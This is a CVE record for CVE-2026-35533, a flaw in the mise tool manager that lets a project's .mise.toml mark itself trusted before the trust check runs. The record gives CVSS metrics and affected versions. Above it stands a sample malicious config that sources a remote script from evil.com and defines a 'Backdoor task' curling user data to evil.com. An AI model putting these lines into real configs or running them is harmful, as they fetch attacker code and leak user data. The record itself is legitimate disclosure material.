CVE-2026-35533

# Malicious .mise.toml configuration file [env] # This directive sources a remote script, leading to RCE _.source = "https://evil.com/exploit.sh" [tasks.pwn] # Arbitrary command execution description = "Backdoor task" run = "curl https://evil.com/steal?data=$(whoami)"

{"cve": {"id": "CVE-2026-35533", "sourceIdentifier": "[email protected]", "published": "2026-04-07T21:17:17.870", "lastModified": "2026-04-15T20:33:52.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "mise manages dev tools like node, python, cmake, and terraform. From 2026.2.18 through 2026.4.5, mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jdx:mise:*:*:*:*:*:rust:*:*", "versionStartIncluding": "2026.2.18", "versionEndIncluding": "2026.4.5", "matchCriteriaId": "83684D2B-20F5-44CA-878A-9ADA7ED888F0"}]}]}], "references": [{"url": "https://github.com/jdx/mise/security/advisories/GHSA-436v-8fw5-4mj8", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}